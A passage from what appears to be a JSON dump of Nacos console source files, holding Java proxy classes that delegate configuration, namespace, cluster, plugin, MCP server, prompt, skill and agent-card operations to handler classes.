getConsoleUiGuide() {\n        return serverStateHandler.getConsoleUiGuide();\n    }\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/proxy/ai/A2aProxy.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.proxy.ai;\n\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentCardForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentCardUpdateForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentListForm;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardVersionInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentVersionDetail;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.console.handler.ai.A2aHandler;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport org.springframework.stereotype.Component;\n\nimport java.util.List;\n\n/**\n * A2a proxy.\n *\n * @author KiteSoar\n */\n@Component\npublic class A2aProxy {\n    \n    private final A2aHandler a2aHandler;\n    \n    public A2aProxy(A2aHandler a2aHandler) {\n        this.a2aHandler = a2aHandler;\n    }\n    \n    /**\n     * Register agent card.\n     *\n     * @param agentCard     agent card to register\n     * @param agentCardForm agent card form\n     * @throws NacosException exception when register agent card\n     */\n    public void registerAgent(AgentCard agentCard, AgentCardForm agentCardForm) throws NacosException {\n        a2aHandler.registerAgent(agentCard, agentCardForm);\n    }\n    \n    public AgentCardDetailInfo getAgentCard(AgentForm form) throws NacosException {\n        return a2aHandler.getAgentCardWithVersions(form);\n    }\n    \n    public void deleteAgent(AgentForm form) throws NacosException {\n        a2aHandler.deleteAgent(form);\n    }\n    \n    public void updateAgentCard(AgentCard agentCard, AgentCardUpdateForm form) throws NacosException {\n        a2aHandler.updateAgentCard(agentCard, form);\n    }\n    \n    public Page<AgentCardVersionInfo> listAgents(AgentListForm agentListForm, PageForm pageForm) throws NacosException {\n        return a2aHandler.listAgents(agentListForm, pageForm);\n    }\n    \n    public List<AgentVersionDetail> listAgentVersions(String namespaceId, String name) throws NacosException {\n        return a2aHandler.listAgentVersions(namespaceId, name);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/proxy/ai/McpProxy.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.proxy.ai;\n\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportRequest;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportResponse;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportValidationResult;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.console.handler.ai.McpHandler;\nimport org.springframework.stereotype.Service;\n\n/**\n * Proxy class for handling AI MCP operations.\n *\n * @author xiweng.yy\n */\n@Service\npublic class McpProxy {\n    \n    private final McpHandler mcpHandler;\n    \n    public McpProxy(McpHandler mcpHandler) {\n        this.mcpHandler = mcpHandler;\n    }\n    \n    /**\n     * List mcp server.\n     *\n     * @param namespaceId namespace id of mcp servers\n     * @param mcpName     mcp name pattern, if null or empty, filter all mcp servers.\n     * @param search      search type `blur` or `accurate`, means whether to search by fuzzy or exact match by\n     *                    `mcpName`.\n     * @param pageNo      page number, start from 1\n     * @param pageSize    page size each page\n     * @return list of {@link McpServerBasicInfo} matched input parameters.\n     */\n    public Page<McpServerBasicInfo> listMcpServers(String namespaceId, String mcpName, String search, int pageNo,\n            int pageSize) throws NacosException {\n        return mcpHandler.listMcpServers(namespaceId, mcpName, search, pageNo, pageSize);\n    }\n    \n    /**\n     * Get specified mcp server detail info.\n     *\n     * @param namespaceId namespace id of mcp server\n     * @param mcpName     name of mcp server\n     * @return detail info with {@link McpServerDetailInfo}\n     * @throws NacosException any exception during handling\n     */\n    public McpServerDetailInfo getMcpServer(String namespaceId, String mcpName, String mcpId, String version) throws NacosException {\n        return mcpHandler.getMcpServer(namespaceId, mcpName, mcpId, version);\n    }\n    \n    /**\n     * Create new mcp server.\n     *\n     * @param namespaceId           namespace id of mcp server\n     * @param serverSpecification   mcp server specification, see {@link McpServerBasicInfo}\n     * @param toolSpecification     mcp server included tools, see {@link McpToolSpecification}, optional\n     * @param endpointSpecification mcp server endpoint specification, see {@link McpEndpointSpec}, optional\n     * @return mcp server id of the new mcp server\n     * @throws NacosException any exception during handling\n     */\n    public String createMcpServer(String namespaceId, McpServerBasicInfo serverSpecification,\n            McpToolSpecification toolSpecification, McpEndpointSpec endpointSpecification) throws NacosException {\n        return mcpHandler.createMcpServer(namespaceId, serverSpecification, toolSpecification, endpointSpecification);\n    }\n    \n    /**\n     * Update existed mcp server.\n     *\n     * <p>\n     * `namespaceId` and `mcpName` can't be changed.\n     * </p>\n     *\n     * @param namespaceId           namespace id of mcp server, used to mark which mcp server to update\n     * @param isPublish             if publish the mcp server or just save the mcp\n     * @param serverSpecification   mcp server specification, see {@link McpServerBasicInfo}\n     * @param toolSpecification     mcp server included tools, see {@link McpToolSpecification}, optional\n     * @param endpointSpecification mcp server endpoint specification, see {@link McpEndpointSpec}, optional\n     * @param overrideExisting       if replace all the instances when update the mcp server\n     * @throws NacosException any exception during handling\n     */\n    public void updateMcpServer(String namespaceId, boolean isPublish, McpServerBasicInfo serverSpecification,\n            McpToolSpecification toolSpecification, McpEndpointSpec endpointSpecification, boolean overrideExisting) throws NacosException {\n        mcpHandler.updateMcpServer(namespaceId, isPublish, serverSpecification, toolSpecification, endpointSpecification, overrideExisting);\n    }\n    \n    /**\n     * Delete existed mcp server.\n     *\n     * @param namespaceId namespace id of mcp server\n     * @param mcpServerId     name of mcp server\n     * @param version     version of the mcp server\n     * @throws NacosException any exception during handling\n     */\n    public void deleteMcpServer(String namespaceId, String mcpName, String mcpServerId, String version) throws NacosException {\n        mcpHandler.deleteMcpServer(namespaceId, mcpName, mcpServerId, version);\n    }\n    \n    /**\n     * Validate MCP server import request.\n     *\n     * @param namespaceId namespace id for mcp servers\n     * @param request     import request containing data and settings\n     * @return validation result with details about potential issues\n     * @throws NacosException any exception during validation\n     */\n    public McpServerImportValidationResult validateImport(String namespaceId, McpServerImportRequest request) throws NacosException {\n        return mcpHandler.validateImport(namespaceId, request);\n    }\n    \n    /**\n     * Execute MCP server import operation.\n     *\n     * @param namespaceId namespace id for mcp servers\n     * @param request     import request containing data and settings\n     * @return import response with results and statistics\n     * @throws NacosException any exception during import execution\n     */\n    public McpServerImportResponse executeImport(String namespaceId, McpServerImportRequest request) throws NacosException {\n        return mcpHandler.executeImport(namespaceId, request);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/proxy/ai/PromptProxy.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.proxy.ai;\n\nimport com.alibaba.nacos.ai.form.prompt.PromptForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptHistoryForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptLabelBindForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptLabelForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptListForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptMetadataForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptPublishForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptQueryForm;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaSummary;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionSummary;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.console.handler.ai.PromptHandler;\nimport org.springframework.stereotype.Component;\n\n/**\n * Prompt proxy for console.\n *\n * @author nacos\n */\n@Component\npublic class PromptProxy {\n    \n    private final PromptHandler promptHandler;\n    \n    public PromptProxy(PromptHandler promptHandler) {\n        this.promptHandler = promptHandler;\n    }\n    \n    /**\n     * Publish a new version of prompt.\n     *\n     * @param form    prompt publish form\n     * @param srcUser source user\n     * @param srcIp   source IP\n     * @return true if publish success\n     * @throws NacosException if publish fails\n     */\n    public boolean publishPrompt(PromptPublishForm form, String srcUser, String srcIp) throws NacosException {\n        return promptHandler.publishPrompt(form, srcUser, srcIp);\n    }\n    \n    public PromptMetaInfo getPromptMeta(PromptForm form) throws NacosException {\n        return promptHandler.getPromptMeta(form);\n    }\n    \n    public PromptVersionInfo queryPromptDetail(PromptQueryForm form) throws NacosException {\n        return promptHandler.queryPromptDetail(form);\n    }\n    \n    public boolean bindLabel(PromptLabelBindForm form, String srcUser, String srcIp) throws NacosException {\n        return promptHandler.bindLabel(form, srcUser, srcIp);\n    }\n    \n    public boolean unbindLabel(PromptLabelForm form, String srcUser, String srcIp) throws NacosException {\n        return promptHandler.unbindLabel(form, srcUser, srcIp);\n    }\n    \n    /**\n     * Delete prompt.\n     *\n     * @param form    prompt form\n     * @param srcUser source user\n     * @param srcIp   source IP\n     * @return true if delete success\n     * @throws NacosException if delete fails\n     */\n    public boolean deletePrompt(PromptForm form, String srcUser, String srcIp) throws NacosException {\n        return promptHandler.deletePrompt(form, srcUser, srcIp);\n    }\n    \n    /**\n     * List prompts with pagination.\n     *\n     * @param form prompt list form\n     * @return prompt list page\n     * @throws NacosException if list fails\n     */\n    public Page<PromptMetaSummary> listPrompts(PromptListForm form) throws NacosException {\n        return promptHandler.listPrompts(form);\n    }\n    \n    public Page<PromptVersionSummary> listPromptVersions(PromptHistoryForm form) throws NacosException {\n        return promptHandler.listPromptVersions(form);\n    }\n    \n    /**\n     * Update prompt metadata (description only).\n     *\n     * @param form    prompt metadata form\n     * @param srcUser source user\n     * @param srcIp   source IP\n     * @return true if update success\n     * @throws NacosException if update fails\n     */\n    public boolean updatePromptMetadata(PromptMetadataForm form, String srcUser, String srcIp) throws NacosException {\n        return promptHandler.updatePromptMetadata(form, srcUser, srcIp);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/proxy/ai/SkillProxy.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.proxy.ai;\n\nimport com.alibaba.nacos.ai.form.skills.admin.SkillDetailForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillListForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillUpdateForm;\nimport com.alibaba.nacos.console.handler.ai.SkillHandler;\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\nimport com.alibaba.nacos.api.ai.model.skills.SkillBasicInfo;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport org.springframework.stereotype.Component;\n\n/**\n * Skill proxy.\n *\n * @author nacos\n */\n@Component\npublic class SkillProxy {\n    \n    private final SkillHandler skillHandler;\n    \n    public SkillProxy(SkillHandler skillHandler) {\n        this.skillHandler = skillHandler;\n    }\n    \n    /**\n     * Register skill.\n     *\n     * @param skill skill to register\n     * @param form skill detail form\n     * @throws NacosException exception when register skill\n     */\n    public void registerSkill(Skill skill, SkillDetailForm form) throws NacosException {\n        skillHandler.registerSkill(skill, form);\n    }\n    \n    public Skill getSkill(SkillForm form) throws NacosException {\n        return skillHandler.getSkill(form);\n    }\n    \n    public void deleteSkill(SkillForm form) throws NacosException {\n        skillHandler.deleteSkill(form);\n    }\n    \n    public void updateSkill(Skill skill, SkillUpdateForm form) throws NacosException {\n        skillHandler.updateSkill(skill, form);\n    }\n    \n    public Page<SkillBasicInfo> listSkills(SkillListForm skillListForm, PageForm pageForm) throws NacosException {\n        return skillHandler.listSkills(skillListForm, pageForm);\n    }\n    \n    public String uploadSkillFromZip(String namespaceId, byte[] zipBytes) throws NacosException {\n        return skillHandler.uploadSkillFromZip(namespaceId, zipBytes);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/proxy/config/ConfigProxy.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.proxy.config;\n\nimport com.alibaba.nacos.api.config.model.ConfigBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigDetailInfo;\nimport com.alibaba.nacos.api.config.model.ConfigGrayInfo;\nimport com.alibaba.nacos.api.config.model.ConfigListenerInfo;\nimport com.alibaba.nacos.api.config.model.SameConfigPolicy;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.config.server.controller.parameters.SameNamespaceCloneConfigBean;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.console.handler.config.ConfigHandler;\nimport jakarta.servlet.ServletException;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.stereotype.Service;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.io.IOException;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Proxy class for handling configuration operations.\n *\n * @author zhangyukun\n */\n@Service\npublic class ConfigProxy {\n    \n    private final ConfigHandler configHandler;\n    \n    @Autowired\n    public ConfigProxy(ConfigHandler configHandler) {\n        this.configHandler = configHandler;\n    }\n    \n    /**\n     * Get configure information list.\n     */\n    public Page<ConfigBasicInfo> getConfigList(int pageNo, int pageSize, String dataId, String group, String namespaceId,\n            Map<String, Object> configAdvanceInfo) throws IOException, ServletException, NacosException {\n        return configHandler.getConfigList(pageNo, pageSize, dataId, group, namespaceId, configAdvanceInfo);\n    }\n    \n    /**\n     * Get the specific configuration information.\n     */\n    public ConfigDetailInfo getConfigDetail(String dataId, String group, String namespaceId) throws NacosException {\n        return configHandler.getConfigDetail(dataId, group, namespaceId);\n    }\n    \n    /**\n     * Add or update configuration.\n     */\n    public Boolean publishConfig(ConfigForm configForm, ConfigRequestInfo configRequestInfo) throws NacosException {\n        return configHandler.publishConfig(configForm, configRequestInfo);\n    }\n    \n    /**\n     * Delete configuration.\n     */\n    public Boolean deleteConfig(String dataId, String group, String namespaceId, String tag, String clientIp,\n            String srcUser) throws NacosException {\n        return configHandler.deleteConfig(dataId, group, namespaceId, tag, clientIp, srcUser);\n    }\n    \n    /**\n     * Batch delete configurations.\n     */\n    public Boolean batchDeleteConfigs(List<Long> ids, String clientIp, String srcUser) throws NacosException {\n        return configHandler.batchDeleteConfigs(ids, clientIp, srcUser);\n    }\n    \n    /**\n     * Search config list by config detail.\n     */\n    public Page<ConfigBasicInfo> getConfigListByContent(String search, int pageNo, int pageSize, String dataId, String group,\n            String namespaceId, Map<String, Object> configAdvanceInfo) throws NacosException {\n        return configHandler.getConfigListByContent(search, pageNo, pageSize, dataId, group, namespaceId,\n                configAdvanceInfo);\n    }\n    \n    /**\n     * Subscribe to configured client information.\n     */\n    public ConfigListenerInfo getListeners(String dataId, String group, String namespaceId, boolean aggregation)\n            throws Exception {\n        return configHandler.getListeners(dataId, group, namespaceId, aggregation);\n    }\n    \n    /**\n     * Get subscription information based on IP, tenant, and other parameters.\n     */\n    public ConfigListenerInfo getAllSubClientConfigByIp(String ip, boolean all, String namespaceId, boolean aggregation)\n            throws NacosException {\n        return configHandler.getAllSubClientConfigByIp(ip, all, namespaceId, aggregation);\n    }\n    \n    /**\n     * New version export config adds metadata.yml file to record config metadata.\n     */\n    public ResponseEntity<byte[]> exportConfigV2(String dataId, String group, String namespaceId, String appName,\n            List<Long> ids) throws Exception {\n        return configHandler.exportConfig(dataId, group, namespaceId, appName, ids);\n    }\n    \n    /**\n     * Imports and publishes a configuration from a file.\n     */\n    public Result<Map<String, Object>> importAndPublishConfig(String srcUser, String namespaceId,\n            SameConfigPolicy policy, MultipartFile file, String srcIp, String requestIpApp) throws NacosException {\n        return configHandler.importAndPublishConfig(srcUser, namespaceId, policy, file, srcIp, requestIpApp);\n    }\n    \n    /**\n     * Clone configuration.\n     */\n    public Result<Map<String, Object>> cloneConfig(String srcUser, String namespaceId,\n            List<SameNamespaceCloneConfigBean> configBeansList, SameConfigPolicy policy, String srcIp,\n            String requestIpApp) throws NacosException {\n        return configHandler.cloneConfig(srcUser, namespaceId, configBeansList, policy, srcIp, requestIpApp);\n    }\n    \n    /**\n     * Remove beta configuration based on dataId, group, and namespaceId.\n     */\n    public boolean removeBetaConfig(String dataId, String group, String namespaceId, String remoteIp,\n            String requestIpApp, String srcUser) throws NacosException {\n        return configHandler.removeBetaConfig(dataId, group, namespaceId, remoteIp, requestIpApp, srcUser);\n    }\n    \n    /**\n     * Query beta configuration based on dataId, group, and namespaceId.\n     */\n    public ConfigGrayInfo queryBetaConfig(String dataId, String group, String namespaceId)\n            throws NacosException {\n        return configHandler.queryBetaConfig(dataId, group, namespaceId);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/proxy/config/HistoryProxy.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.proxy.config;\n\nimport com.alibaba.nacos.api.config.model.ConfigBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigHistoryBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigHistoryDetailInfo;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.console.handler.config.HistoryHandler;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport java.util.List;\n\n/**\n * .\n *\n * @author zhangyukun on:2024/8/16\n */\n@Service\npublic class HistoryProxy {\n    \n    private final HistoryHandler historyHandler;\n    \n    /**\n     * Constructs a new HistoryProxy with the given HistoryInnerHandler and ConsoleConfig.\n     *\n     * @param historyHandler the default implementation of HistoryHandler\n     */\n    @Autowired\n    public HistoryProxy(HistoryHandler historyHandler) {\n        this.historyHandler = historyHandler;\n    }\n    \n    /**\n     * Query the detailed configuration history information.\n     *\n     * @param dataId      the ID of the data\n     * @param group       the group ID\n     * @param namespaceId the namespace ID\n     * @param nid         the history record ID\n     * @return the detailed configuration history information\n     * @throws NacosException if any error occurs during the operation\n     */\n    public ConfigHistoryDetailInfo getConfigHistoryInfo(String dataId, String group, String namespaceId, Long nid)\n            throws NacosException {\n        return historyHandler.getConfigHistoryInfo(dataId, group, namespaceId, nid);\n    }\n    \n    /**\n     * Query the list of configuration history.\n     *\n     * @param dataId      the ID of the data\n     * @param group       the group ID\n     * @param namespaceId the namespace ID\n     * @param pageNo      the page number\n     * @param pageSize    the number of items per page\n     * @return the paginated list of configuration history\n     * @throws NacosException if any error occurs during the operation\n     */\n    public Page<ConfigHistoryBasicInfo> listConfigHistory(String dataId, String group, String namespaceId, Integer pageNo,\n            Integer pageSize) throws NacosException {\n        return historyHandler.listConfigHistory(dataId, group, namespaceId, pageNo, pageSize);\n    }\n    \n    /**\n     * Query the previous configuration history information.\n     *\n     * @param dataId      the ID of the data\n     * @param group       the group ID\n     * @param namespaceId the namespace ID\n     * @param id          the configuration ID\n     * @return the previous configuration history information\n     * @throws NacosException if any error occurs during the operation\n     */\n    public ConfigHistoryDetailInfo getPreviousConfigHistoryInfo(String dataId, String group, String namespaceId, Long id)\n            throws NacosException {\n        return historyHandler.getPreviousConfigHistoryInfo(dataId, group, namespaceId, id);\n    }\n    \n    /**\n     * Query the list of configurations by namespace.\n     *\n     * @param namespaceId the namespace ID\n     * @return the list of configurations\n     * @throws NacosException if any error occurs during the operation\n     */\n    public List<ConfigBasicInfo> getConfigsByTenant(String namespaceId) throws NacosException {\n        return historyHandler.getConfigsByTenant(namespaceId);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/proxy/core/ClusterProxy.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.proxy.core;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.response.NacosMember;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.console.handler.core.ClusterHandler;\nimport org.springframework.stereotype.Service;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.Comparator;\nimport java.util.List;\n\n/**\n * Proxy class for handling cluster-related operations.\n *\n * @author zhangyukun\n */\n@Service\npublic class ClusterProxy {\n    \n    private final ClusterHandler clusterHandler;\n    \n    /**\n     * Constructs a new ClusterProxy with the given ClusterInnerHandler and ConsoleConfig.\n     *\n     * @param clusterHandler the default implementation of ClusterHandler\n     */\n    public ClusterProxy(ClusterHandler clusterHandler) {\n        this.clusterHandler = clusterHandler;\n    }\n    \n    /**\n     * Retrieve a list of cluster members with an optional search keyword.\n     *\n     * @param ipKeyWord the search keyword for filtering members\n     * @return a collection of matching members\n     * @throws IllegalArgumentException if the deployment type is invalid\n     */\n    public Collection<NacosMember> getNodeList(String ipKeyWord) throws NacosException {\n        Collection<? extends NacosMember> members = clusterHandler.getNodeList(ipKeyWord);\n        List<NacosMember> result = new ArrayList<>();\n        members.forEach(member -> {\n            if (StringUtils.isBlank(ipKeyWord)) {\n                result.add(member);\n                return;\n            }\n            final String address = member.getAddress();\n            if (StringUtils.equals(address, ipKeyWord) || StringUtils.startsWith(address, ipKeyWord)) {\n                result.add(member);\n            }\n        });\n        result.sort(Comparator.comparing(NacosMember::getAddress));\n        return result;\n    }\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/proxy/core/NamespaceProxy.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.proxy.core;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.console.handler.core.NamespaceHandler;\nimport com.alibaba.nacos.api.model.response.Namespace;\nimport com.alibaba.nacos.core.namespace.model.form.NamespaceForm;\nimport org.springframework.stereotype.Service;\n\nimport java.util.List;\n\n/**\n * Proxy class for handling namespace operations.\n *\n * @author zhangyukun\n */\n@Service\npublic class NamespaceProxy {\n    \n    private final NamespaceHandler namespaceHandler;\n    \n    public NamespaceProxy(NamespaceHandler namespaceHandler) {\n        this.namespaceHandler = namespaceHandler;\n    }\n    \n    /**\n     * Get namespace list.\n     */\n    public List<Namespace> getNamespaceList() throws NacosException {\n        return namespaceHandler.getNamespaceList();\n    }\n    \n    /**\n     * Get the specific namespace information.\n     */\n    public Namespace getNamespaceDetail(String namespaceId) throws NacosException {\n        return namespaceHandler.getNamespaceDetail(namespaceId);\n    }\n    \n    /**\n     * Create or update namespace.\n     */\n    public Boolean createNamespace(String namespaceId, String namespaceName, String namespaceDesc)\n            throws NacosException {\n        return namespaceHandler.createNamespace(namespaceId, namespaceName, namespaceDesc);\n    }\n    \n    /**\n     * Edit namespace.\n     */\n    public Boolean updateNamespace(NamespaceForm namespaceForm) throws NacosException {\n        return namespaceHandler.updateNamespace(namespaceForm);\n    }\n    \n    /**\n     * Delete namespace.\n     */\n    public Boolean deleteNamespace(String namespaceId) throws NacosException {\n        return namespaceHandler.deleteNamespace(namespaceId);\n    }\n    \n    /**\n     * Check if namespace exists.\n     */\n    public Boolean checkNamespaceIdExist(String namespaceId) throws NacosException {\n        return namespaceHandler.checkNamespaceIdExist(namespaceId);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/proxy/core/PluginProxy.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.proxy.core;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.console.handler.core.PluginHandler;\nimport com.alibaba.nacos.core.plugin.model.vo.PluginDetailVO;\nimport com.alibaba.nacos.core.plugin.model.vo.PluginInfoVO;\nimport org.springframework.stereotype.Service;\n\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Proxy class for handling plugin operations.\n *\n * @author WangzJi\n */\n@Service\npublic class PluginProxy {\n\n    private final PluginHandler pluginHandler;\n\n    public PluginProxy(PluginHandler pluginHandler) {\n        this.pluginHandler = pluginHandler;\n    }\n\n    /**\n     * Get a list of plugins.\n     *\n     * @param pluginType optional plugin type filter\n     * @return list of plugin info VOs\n     * @throws NacosException if there is an issue fetching the plugins\n     */\n    public List<PluginInfoVO> listPlugins(String pluginType) throws NacosException {\n        return pluginHandler.listPlugins(pluginType);\n    }\n\n    /**\n     * Get plugin detail.\n     *\n     * @param pluginType plugin type\n     * @param pluginName plugin name\n     * @return plugin detail VO\n     * @throws NacosException if there is an issue fetching the plugin detail\n     */\n    public PluginDetailVO getPluginDetail(String pluginType, String pluginName) throws NacosException {\n        return pluginHandler.getPluginDetail(pluginType, pluginName);\n    }\n\n    /**\n     * Update plugin enabled/disabled status.\n     *\n     * @param pluginType plugin type\n     * @param pluginName plugin name\n     * @param enabled    whether to enable\n     * @param localOnly  whether only apply to local node\n     * @throws NacosException if there is an issue updating the plugin status\n     */\n    public void updatePluginStatus(String pluginType, String pluginName, boolean enabled, boolean localOnly)\n            throws 